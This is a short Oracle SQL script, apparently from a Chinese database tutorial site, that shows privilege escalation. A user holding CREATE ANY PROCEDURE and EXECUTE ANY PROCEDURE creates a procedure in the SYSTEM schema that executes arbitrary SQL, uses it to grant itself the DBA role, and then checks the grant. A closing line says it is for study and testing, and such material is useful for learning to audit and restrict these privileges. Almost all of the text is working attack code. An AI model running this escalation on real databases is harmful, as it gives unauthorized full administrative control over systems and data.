create user moe identified by moe;
grant create any procedure,execute any procedure to moe;
conn moe/moe
create procedure system.h1(
h1_str in varchar2)
as
begin
execute immediate h1_str;
end;
/
execute system.h1(‘grant dba to moe’);
select * from dba_role_privs where granted_role= ‘DBA’;
本文由风哥教程整理发布,仅用于学习测试使用,转载注明出处:http://www.fgedu.net.cn/10327.html
